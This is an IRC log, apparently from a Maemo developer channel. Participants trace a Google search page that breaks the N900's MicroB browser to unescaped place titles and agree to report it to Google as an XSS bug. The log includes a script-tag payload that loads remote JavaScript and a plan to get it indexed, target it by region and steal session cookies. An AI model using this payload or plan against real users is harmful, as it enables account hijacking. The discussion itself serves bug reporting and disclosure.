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| jonwil | looks like I have no solution to my Google problem unless I can find someone who understands the internals of libexpat... | 02:48 |
|---|---|---|
| jonwil | or convince the largest index of information on the planet to stop returning web pages that fail in an obsolete browser for a device that is now 7 years old | 02:52 |
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| protem | is there a sip solution on maemo that supports a socks5 proxy? | 03:11 |
| ds3 | just ignore google | 03:25 |
| ds3 | they just return garbage anyways | 03:25 |
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| jonwil | I would be lost without Google | 03:38 |
| jonwil | They return very useful result 99% of the time | 03:38 |
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| jonwil | looks like the hack I found seems to work and Google does good things again. Who knows what else might fail but hey, if I discover things failing I have all the right deb files on my phone to easily install if I need to | 04:07 |
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| ds3 | donno what you are searching but they return garbage 99% of the time | 07:21 |
| ds3 | just randomly dropping terms to return "results" | 07:21 |
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| jonwil | The trick is to know how to use Google properly | 08:18 |
| jonwil | and what the right search terms are | 08:18 |
| jonwil | Its the largest collection of information ever collected, its logical to expect that there are times when it might not return exactly the right result and you need to further narrow it down | 08:20 |
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| ds3 | that is a waste of time. they didn't used to do that | 08:24 |
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| KotCzarny | yeah, searching for the right term is the key to the getting good results, but 'good enough search term' is also very good with google, which differentiates is from the most of the other search engines | 09:01 |
| KotCzarny | what i dislike with google is that they changed algo somehow and now it returns results with a long delay | 09:01 |
| KotCzarny | also, adding 'google fix' extension fixed another delay where they send click to the google first then going to the clicked link target | 09:03 |
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| jonwil | http://talk.maemo.org/showthread.php?p=1492095#post1492095 | 10:02 |
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| jonwil | freemangordon: ping | 10:03 |
| jonwil | ~seen pali | 10:03 |
| jonwil | damn bot | 10:03 |
| jonwil | :P | 10:03 |
| jonwil | merlin1991: ping | 10:03 |
| KotCzarny | shouldnt it be sent to google.com and not maemo? | 10:03 |
| KotCzarny | povbot: seen pali | 10:04 |
| povbot | KotCzarny: pali was last seen in #maemo 3 days, 10 hours, 48 minutes, and 57 seconds ago: <Pali> becase we are adding unused link dependences | 10:04 |
| KotCzarny | use povbot for seens | 10:04 |
| jonwil | Its google returning invalid output but we would need to A.Find a way to contract the right part of Google (I cant find any such contacts) B.Get them to care about fixing an issue that affects an ancient (in internet terms) no-longer-supported dead browser (unlikely given that they have already dropped support for the relavent Firefox versions that microb-engine comes from) and C.Get them to... | 10:07 |
| jonwil | ...then actually make the necessary fix to what output they return (also hard since any change they make to their output has concequences for other browsers too and would need a lot of testing and stuff) | 10:07 |
| jonwil | hence why I am suggesting a workaround in microb might be the only solution | 10:07 |
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| freemangordon | jonwil: pong | 10:52 |
| jonwil | FYI, I am going away for xmas (leaving tomorrow afternoon) and wont be on IRC (or doing any dev stuff). I get back about a week later. | 10:53 |
| KotCzarny | poor you | 10:53 |
| jonwil | it will be fun :) | 10:54 |
| freemangordon | ok | 10:54 |
| jonwil | lots of cool stuff planned :) | 10:54 |
| KotCzarny | :) | 10:54 |
| jonwil | also if you have any comments on my microb post, that would be great | 10:54 |
| jonwil | would be good to see what the best solution is... | 10:55 |
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| freemangordon | jonwil: I don;t really like the idea to tweak microb outside of the standards just to please google | 11:11 |
| Maxdamantus | I suspect Google would fix it if the relevant people were made aware of it. | 11:21 |
| jonwil | Yes I am sure, we just need to find the right people at Google | 11:21 |
| jonwil | which seems to be hard | 11:21 |
| jonwil | I cant find any contacts for the Google Search Engine people | 11:21 |
| Maxdamantus | https://www.google.com/appserve/security-bugs/m2/new?rl=&key= | 11:23 |
| Maxdamantus | I'd call that an XSS bug. | 11:23 |
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| Maxdamantus | Possible XSS bug, content passed unescaped into HTML document. | 11:27 |
| Maxdamantus | Simple, correct. | 11:27 |
| * Maxdamantus would do it himself if he knew the URL involved etc | 11:27 | |
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| Maxdamantus | All you need to do to use it to do actual XSS is create a page somewhere with a title like <script src="//bit.ly/aeaoe"/> | 11:31 |
| Maxdamantus | then get Google to index it such that you can consistently search for it, then get people to load the URL that produces that document in an iframe. | 11:31 |
| jonwil | I wouldn't call it a security bug | 11:35 |
| Maxdamantus | Why not? | 11:36 |
| Maxdamantus | XSS is a security bug. It's one of the things listed right there. | 11:37 |
| Maxdamantus | “I want to report a technical security bug in a Google product (SQLi, XSS, etc.).” | 11:37 |
| Maxdamantus | unescaped content in HTML = XSS | 11:38 |
| Maxdamantus | Try searching for something like `script src` | 11:38 |
| Maxdamantus | See what the produced XML looks like. | 11:38 |
| Maxdamantus | I suspect it'll directly have <script src=""> in it. | 11:39 |
| Maxdamantus | because that's in the title of some stackoverflow posts. | 11:39 |
| jonwil | I see no way to exploit this particular issue | 11:39 |
| Maxdamantus | What's the URL? | 11:39 |
| * Maxdamantus will see if he can load microb still. | 11:39 | |
| jonwil | Firstly different people will get a different set of results back for the same search based on what Google decides to return for a given search | 11:39 |
| jonwil | i.e. what you get back when you search for a given term wont be the same as what I get back | 11:40 |
| Maxdamantus | It will if it's a fairly unique search. | 11:40 |
| jonwil | the ones its triggering on for me are fairly common | 11:40 |
| Maxdamantus | Try searching for "maxdamantus temahia" | 11:40 |
| Maxdamantus | I suspect you'll get one result, linking to some log from this chat. | 11:40 |
| Maxdamantus | You're not trying to do XSS. | 11:40 |
| Maxdamantus | If you try to do XSS you will try to come up with your own unique searches. | 11:41 |
| Maxdamantus | You're just stumbling across the bug and it's making your browser fail. | 11:41 |
| Maxdamantus | You're not the result of a targeted attack. A targeted attack is probably possible with the bug though. | 11:41 |
| jonwil | To exploit this you would need to find a way to get a web page (with a hand-crafted title of your choice) such that it appears in the "places" section when you search on a Nokia N900 for a specific search term (and does so reliably for many people in many places) | 11:42 |
| jonwil | Which would be highly unlikely given that Google will only ever show you places local to whatever it thinks your position is | 11:42 |
| Maxdamantus | What's the URL? | 11:43 |
| jonwil | even for a unique term | 11:43 |
| jonwil | there is no URL as such, its searching with microb for specific search terms that happen to trigger the bug | 11:43 |
| jonwil | in my case searching for fish and chips triggers it | 11:43 |
| Maxdamantus | Yes, what's a URL? | 11:43 |
| jonwil | because the "places" results include the & symbol | 11:43 |
| Maxdamantus | I don't care about the term itself. | 11:43 |
| Maxdamantus | I just want to know the form of URL that has the obvious bug in it. | 11:44 |
| jonwil | The URL means nothing since the page you get back will be totally different for every browser, location etc. | 11:44 |
| Maxdamantus | The URL points to a page with a bug in it. | 11:44 |
| jonwil | and in fact there is nothing special about the URL | 11:44 |
| Maxdamantus | What is the URL? | 11:44 |
| Maxdamantus | I don't care if it's triggered or not for me. | 11:45 |
| Maxdamantus | I just want to know a URL. | 11:45 |
| jonwil | there is no special URL, its the normal google search | 11:45 |
| jonwil | any google search via any url will fail on microb if it returns the right results | 11:46 |
| Maxdamantus | So something like this? https://www.google.co.nz/search?q=foo | 11:46 |
| jonwil | yeah anything will do it | 11:46 |
| jonwil | it has to return results with a "places" section and that section needs to contain a result with an & in the title | 11:47 |
| jonwil | but like I said unless you can gaurantee that where Google thinks your target is located is in the right place to return your handcrafted "places" result, you cant use this for an exploit. Google wont return a "places" result for a location in New York (for example) to someone in London no matter what search term they use. | 11:50 |
| Maxdamantus | You can probably just tell them to use the term "fish chips" | 11:50 |
| Maxdamantus | It happens for me too. | 11:50 |
| Maxdamantus | and I suspect you're in the country next to mine. | 11:50 |
| jonwil | Yes I am in Australia :) | 11:51 |
| jonwil | but it wont happen for everyone and you wont get the ability to control which results it displays | 11:51 |
| jonwil | If someone searches for fish and chips and they dont get a result with an & in the name, it wont fail | 11:51 |
| Maxdamantus | But that seems unlikely. | 11:51 |
| jonwil | even if you can be fairly sure it will trigger, its not usable as an exploit since you have no control over the output (at best you can make microb spit out a parser error) | 11:52 |
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| KotCzarny | jonwil: unlikely != unexploitable | 11:53 |
| KotCzarny | remember, all bugs are initially hidden because they dont show right away | 11:54 |
| jonwil | I dont deny its a bug | 11:54 |
| KotCzarny | and 'its unlikely, so it doesnt matter' is a sure way to make your product unsecure | 11:54 |
| jonwil | but its not an exploit if you the attacker have no way to control what, if any, bogus invalid content the user sees | 11:54 |
| KotCzarny | jonwil, also, if YOU cant think of a way to exploit it, doesnt mean SOMEONE ELSE cant think of a way | 11:55 |
| KotCzarny | sometimes its a chain of bugs to do an exploit | 11:55 |
| Maxdamantus | jonwil: so it's exploitable in certain areas .. that's exploitable. | 11:55 |
| KotCzarny | that's why it's important to patch even 'unlikely' bugs | 11:55 |
| Maxdamantus | I'm pretty sure it's not hard to get Google to know about new "places". | 11:56 |
| Maxdamantus | and the class of bug is XSS. | 11:56 |
| jonwil | The only side effect of the bug is a weird client-side microb parser error, how is that usable for exploiting | 11:56 |
| Maxdamantus | content is injected into HTML unescaped. | 11:56 |
| KotCzarny | url string can be treated as js variable input? | 11:56 |
| Maxdamantus | That's the side-effect when a place happens to have an ampersand in it that's not part of an HTML escape sequence. | 11:57 |
| Maxdamantus | That's the side-effect you're most likely to stumble across when you're not the subject of an attack. | 11:57 |
| Maxdamantus | When you're subject to an attack, the side-effect will be the page will be parsed fine, but it'll inject someone else's JavaScript onto a page owned by Google. | 11:58 |
| Maxdamantus | which is extremely bad. | 11:58 |
| Maxdamantus | if your browser happens to be logged on to Google, someone else can hijack your session cookies and mess around as you on your Google account. | 11:59 |
| jonwil | The trick is finding something which, when inserted into the text between a <a> and a </a> tag will cause the browser not to fail on parsing it but will instead do something dangerous | 12:00 |
| Maxdamantus | https://gist.githubusercontent.com/Maxdamantus/fb3f4252e9b9d21798cd/raw/025026518fde653d44c89f8f724974e361ecc9d9/gistfile1.txt | 12:02 |
| Maxdamantus | ie, exactly what I said. | 12:02 |
| Maxdamantus | <script src="//maxdamantus.eu.org/e.js"/> | 12:02 |
| Maxdamantus | That's perfectly acceptable between <a> and </a> tags | 12:03 |
| Maxdamantus | and if it does appear there, it'll load some weird JS that in this case happens to make all the elements bounce around the screen flashing random colours. | 12:03 |
| Maxdamantus | I'll report it. | 12:04 |
| jonwil | yeah true, we have no way to know if its just the one case of the bogus & sign | 12:04 |
| jonwil | I will report it since I know the details | 12:04 |
| Maxdamantus | I know the details now too. | 12:04 |
| Maxdamantus | If you do it, you should probably include the first part of that curl command I posted. | 12:05 |
| Maxdamantus | since I can use that to make the request that gets the invalid response from my other machine. | 12:05 |
| jonwil | Ok if you know the details, you fill in the report | 12:05 |
| Maxdamantus | Okay. | 12:05 |
| jonwil | especially since you will probably be in a better position to provide follow up with Google than I will (being that I will be away for a while) | 12:06 |
| Maxdamantus | I'll also be away starting in a few days, but it's okay. | 12:08 |
| jonwil | Oh and please keep http://talk.maemo.org/showthread.php?p=1492095#post1492095 up with the details (i.e. your report to Google and anything Google responds with) | 12:08 |
| jonwil | I will probably be in a position to follow t.m.o (via my phone) on my holiday | 12:10 |
| jonwil | I just wont have any access to IRC | 12:10 |
| jonwil | or to anything dev environment etc | 12:10 |
| jonwil | oh and thinking about it, even if its not exploitable, the fact that its "unescaped content being put into a web page" means it can at least be called a security bug and can therefore be submitted to Google via that form and will probably actually reach the inbox of someone with the power to look into it | 12:12 |
| jonwil | btw Maxdamantus, dont forget to include details of how to reproduce it (an easy way to reproduce it even without needing microb and a N900 is to use a current Gecko based browser, a user-agent switcher and the N900 user agent) | 12:16 |
| jonwil | That will get it to return the same content as on the N900 | 12:16 |
| Maxdamantus | Yes. I'm about to figure out a minimal reduction of the user agent required. | 12:16 |
| jonwil | Being able to reproduce it with a browser that Google developers probably already test against/have locally with just a custom user-agent should make fixing it much easier than if they have to go "what the hell is microb and why should we care" | 12:17 |
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| Maxdamantus | it reports an error in Chrome too (using a UA that triggers the old search page) | 12:21 |
| Maxdamantus | well, Chromium. | 12:21 |
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| jonwil | that's good, it shows 100% that its Google returning bogus content to any browser responding with that user agent (and if by some miracle there is a browser being triggered by the same user-agent check that somehow needs the content the way Google is currently sending it, Google will have that info and can find a way to differentiate between that one and the ones that break) | 12:30 |
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| Maxdamantus | It's probably a problem simply with the old version of the site. | 12:39 |
| Maxdamantus | You can also use the Nokia N9 UA included in Developer Tools to load it. | 12:39 |
| jonwil | Developer Tools as in? | 12:40 |
| jonwil | is that a Chrome feature? | 12:40 |
| Maxdamantus | F12 in Chrome/Chromium | 12:40 |
| jonwil | oh ok | 12:40 |
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| jonwil | I dont use Chrome, I use SeaMonkey (Firefox derivative) | 12:41 |
| jonwil | anyhow hopefully Google responds to your report and hopefully they fix the bug | 12:41 |
| jonwil | and I dont need my hack patch to microb anymore :) | 12:41 |
| Maxdamantus | also, you can specify locations. | 12:41 |
| Maxdamantus | https://www.google.co.nz/search?near=Wellington&q=cafes | 12:42 |
| Maxdamantus | so if you can get something malicious in a particular region you can target people generally using that bug. | 12:42 |
| jonwil | didn't know that :) | 12:45 |
| jonwil | anyhow lets hope Google will fix this bug in their mobile (or old-browser mobile) site | 12:45 |
| * Maxdamantus needs to create a business called <script src="//maxdamantus.eu.org/e.js"/> ltd. | 12:48 | |
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| sixwheeledbeast | Use a different search engine? | 12:53 |
| Maxdamantus | *2015 HOLIDAYS NOTICE*: During the last couple weeks of December, we might take a little bit longer to respond to you. That said, we will be working, and we'll give priority to all high severity reports. Thank you for your understanding. | 12:53 |
| Maxdamantus | (this probably wouldn't be considered high-severity) | 12:54 |
| jonwil | For now I have a hack fix to libexpat in microb that makes it work enough for searching | 12:55 |
| jonwil | but its obviously not the right fix | 12:56 |
| jonwil | :) | 12:56 |
| jonwil | hmmm, it might help if I actually printed out the pdf file from the airline with my ticket details on it, going to need that tomorrow :) | 12:59 |
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| jonwil | heh, my printer has been saying "out of black ink" for a while now and yet it still prints without fail. I bet its lying to me to get me to throw away perfectly good black ink. | 13:04 |
| jonwil | Unless of course its printing black using the colored ink tank | 13:04 |
| jonwil | ok, zzz time, got a lot to do tomorrow :) | 13:06 |
| jonwil | cya | 13:06 |
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| sixwheeledbeast | ~ping | 18:53 |
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| jonwil | hi | 22:16 |
| Pali | jonwil: hi | 22:17 |
| jonwil | Not long now until my holiday. YAY :) | 22:18 |
| Pali | jonwil: can you look at http://mg.pov.lt/maemo-ssu-irclog/#maemo-ssu.2015-12-15.log.html#t2015-12-15T23:35:57 ? | 22:18 |
| jonwil | Freemangordon said he was going to do something about that I thnik | 22:20 |
| jonwil | I dont have time to do anything about it, I have to finish getting ready for my holiday :) | 22:28 |
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| jonwil | I will be away for about a week or so :) | 22:37 |
| Pali | ok | 22:39 |
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| jonwil | At least I have a (hack) fix for my problems with Google until such time as Google fixes their stuff :) | 23:11 |
| freemangordon | Pali: I will make the appropriate -dev package as long as I have time | 23:26 |
| Pali | ok | 23:26 |
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